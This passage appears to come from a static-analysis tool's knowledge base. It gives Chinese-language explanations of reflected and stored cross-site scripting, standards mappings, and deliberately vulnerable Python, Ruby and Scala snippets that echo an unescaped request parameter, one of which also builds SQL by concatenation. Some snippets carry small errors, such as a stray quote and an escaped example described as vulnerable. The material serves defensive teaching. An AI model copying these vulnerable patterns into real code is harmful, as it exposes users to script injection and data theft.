[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 Python 程式碼片段在 HTTP 要求中讀取員工的識別碼 eid,並顯示給使用者。


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 Python 程式碼片段,根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Ruby 程式碼片段會從 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是所謂的 Reflected XSS,不過請注意,如果使用Example 1 中的的 Rack::Request#params(),會同時看到 GETPOST 參數,所以可能容易受到各種類型的攻擊,而不是只會使惡意程式碼附加到 URL 而已。

範例 2:以下 Ruby 程式碼片段會查詢資料庫中具有指定識別碼的員工,然後列印相對應的員工姓名。


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Play 控制項程式碼片段會從 HTTP 要求中讀取員工 ID eid,並向使用者顯示。


def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
